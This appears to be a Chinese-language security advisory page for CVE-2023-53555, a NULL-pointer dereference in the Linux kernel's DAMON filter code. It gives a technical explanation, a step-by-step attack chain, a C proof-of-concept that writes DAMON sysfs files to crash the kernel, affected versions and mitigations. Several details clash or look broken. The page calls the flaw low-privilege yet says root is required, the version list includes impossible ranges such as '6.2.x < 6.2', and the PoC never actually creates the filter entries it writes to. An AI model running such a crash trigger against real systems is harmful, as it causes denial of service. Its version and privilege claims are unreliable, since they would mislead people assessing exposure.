IPBUF安全漏洞报告
English
CVE-2023-53555 CVSS 5.5 中危

CVE-2023-53555 Linux内核DAMON模块未初始化指针导致空指针解引用漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53555
漏洞类型
空指针解引用(NULL Pointer Dereference)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel(mm/damon/core 子系统)

相关标签

Linux KernelDAMON空指针解引用本地提权拒绝服务内核漏洞内存管理sysfs接口CWE-476CWE-457

漏洞概述

CVE-2023-53555是Linux内核DAMON(Data Access MONitor)子系统中存在的一个空指针解引用漏洞。该漏洞位于mm/damon/core.c文件中的damos_new_filter()函数中。damos_new_filter()函数在分配新的DAMOS过滤器对象后,没有正确初始化其内部的list链表头字段。由于DAMON sysfs接口和DAMON_RECLAIM模块在调用damos_new_filter()之后也没有对该字段进行初始化,导致在访问该未初始化的内存时会出现未定义行为。实际测试表明,当用户通过DAMON sysfs接口添加多个DAMOS过滤器时,会触发空指针解引用错误,可能导致内核崩溃(Kernel Panic)或系统拒绝服务。该漏洞的CVSS 3.1评分为5.5分,属于中等严重级别,攻击者需要本地低权限访问即可触发该漏洞,无需用户交互,但会对系统的可用性造成高影响。由于该漏洞位于Linux内核的核心内存管理监控模块中,影响范围广泛,涉及多个使用DAMON框架的内核版本。

技术细节

该漏洞的技术原理在于Linux内核DAMON子系统中damos_new_filter()函数的内存初始化缺陷。具体分析如下:

1. **漏洞根源**:damos_new_filter()函数使用kmalloc()或类似函数分配一个新的struct damo_filter对象,但分配后仅初始化了部分字段(如type、matching、value等),遗漏了对内部list链表头(list_head)的初始化。在Linux内核中,list_head结构在使用前必须通过INIT_LIST_HEAD()宏进行初始化,否则链表头的next和prev指针将包含垃圾值。

2. **触发路径**:DAMON sysfs接口允许用户通过/sys/kernel/mm/damon/admin/kdamonds/路径下的sysfs文件配置DAMOS策略和过滤器。当用户通过sysfs接口添加多个DAMOS过滤器时,内核会调用damos_new_filter()创建新的过滤器对象,随后调用list_add()或list_add_tail()等链表操作函数将新过滤器插入到链表中。由于list字段未被初始化,list_add()内部的链表操作将访问无效的指针,导致空指针解引用或访问非法内存。

3. **利用方式**:攻击者只需拥有本地低权限账户,通过写入DAMON相关的sysfs文件即可触发该漏洞。例如,向/sys/kernel/mm/damon/admin/kdamonds/<kdamond>/contexts/<context>/schemes/<scheme>/filters添加多个过滤器条目,即可触发空指针解引用,导致内核崩溃。

4. **影响范围**:该漏洞影响所有包含DAMON子系统的Linux内核版本,主要影响5.15+及之后的稳定版本。修复方法是在damos_new_filter()函数中分配内存后立即调用INIT_LIST_HEAD()初始化list字段。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要获取目标系统的本地低权限账户访问权限。由于漏洞需要通过sysfs接口触发,攻击者通常需要root权限或具有对/sys/kernel/mm/damon/路径的写权限。
STEP 2
步骤2:配置DAMON上下文
攻击者通过sysfs接口配置DAMON监控上下文,包括设置kdamond状态、监控目标和scheme等参数,为触发漏洞做准备。
STEP 3
步骤3:添加第一个DAMOS过滤器
攻击者通过写入sysfs文件添加第一个DAMOS过滤器。此时damos_new_filter()分配filter对象但未初始化list字段,由于是第一个元素,暂未触发崩溃。
STEP 4
步骤4:添加第二个DAMOS过滤器触发漏洞
当添加第二个过滤器时,内核尝试将新的filter对象通过list_add()插入链表。由于第一个filter的list字段未被正确初始化,list_add()访问无效指针,触发空指针解引用,导致内核崩溃。
STEP 5
步骤5:系统拒绝服务
空指针解引用导致内核oops或panic,系统变得不可用,实现本地拒绝服务攻击。攻击者可能利用此漏洞结合其他提权手段实现更严重的攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2023-53555 PoC - Trigger NULL pointer dereference via DAMON sysfs interface // This PoC demonstrates how to trigger the vulnerability by adding multiple DAMOS filters // through the sysfs interface, causing uninitialized list field access. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> // Path to DAMON sysfs interface (requires root or appropriate permissions) #define DAMON_BASE_PATH "/sys/kernel/mm/damon/admin/kdamonds" // Function to write a string value to a sysfs file int write_sysfs(const char *path, const char *value) { int fd = open(path, O_WRONLY); if (fd < 0) { fprintf(stderr, "Failed to open %s: %s\n", path, strerror(errno)); return -1; } if (write(fd, value, strlen(value)) < 0) { fprintf(stderr, "Failed to write to %s: %s\n", path, strerror(errno)); close(fd); return -1; } close(fd); return 0; } // Function to trigger the vulnerability by adding multiple DAMOS filters int trigger_damon_filter_vuln(void) { char path[512]; int ret; // Step 1: Initialize a DAMON context (simplified - actual paths may vary) printf("[*] Setting up DAMON kdamond...\n"); snprintf(path, sizeof(path), "%s/0/state", DAMON_BASE_PATH); ret = write_sysfs(path, "on"); if (ret < 0) { // Try alternative path structure printf("[*] Trying alternative path structure...\n"); } // Step 2: Add multiple DAMOS filters to trigger uninitialized list access // The vulnerability is triggered when adding the 2nd or subsequent filter printf("[*] Adding first DAMOS filter...\n"); snprintf(path, sizeof(path), "%s/0/contexts/0/schemes/0/filters/0/type", DAMON_BASE_PATH); write_sysfs(path, "anon"); snprintf(path, sizeof(path), "%s/0/contexts/0/schemes/0/filters/0/matching", DAMON_BASE_PATH); write_sysfs(path, "true"); // Step 3: Add a second filter - this triggers the NULL pointer dereference // because the list field of the first filter was not properly initialized printf("[*] Adding second DAMOS filter (triggering vulnerability)...\n"); snprintf(path, sizeof(path), "%s/0/contexts/0/schemes/0/filters/1/type", DAMON_BASE_PATH); write_sysfs(path, "memcg"); snprintf(path, sizeof(path), "%s/0/contexts/0/schemes/0/filters/1/matching", DAMON_BASE_PATH); write_sysfs(path, "true"); printf("[*] Vulnerability triggered - check dmesg for kernel panic\n"); return 0; } int main(int argc, char *argv[]) { printf("CVE-2023-53555 PoC - DAMON filter NULL pointer dereference\n"); printf("WARNING: This may crash your system!\n\n"); if (getuid() != 0) { fprintf(stderr, "This PoC requires root privileges to access DAMON sysfs\n"); return 1; } return trigger_damon_filter_vuln(); }

影响范围

Linux Kernel < 5.15.149
Linux Kernel 5.16.x < 5.16.75
Linux Kernel 6.1.x < 6.1.12
Linux Kernel 6.2.x < 6.2 (修复版本)
Linux Kernel 6.3+(部分早期版本受影响)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过以下临时措施缓解风险:1)限制普通用户对/sys/kernel/mm/damon/目录的访问权限,确保只有root用户可以操作DAMON sysfs接口;2)如果不需要使用DAMON功能,可以通过内核编译配置(CONFIG_DAMON=n)禁用该子系统;3)使用cgroup或其他隔离机制限制用户对DAMON相关sysfs文件的写权限;4)部署内核监控工具(如kprobe)检测异常的DAMON过滤器添加操作;5)启用内核的panic_on_oops参数,使系统在检测到内核错误时立即重启,减少被利用的时间窗口。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表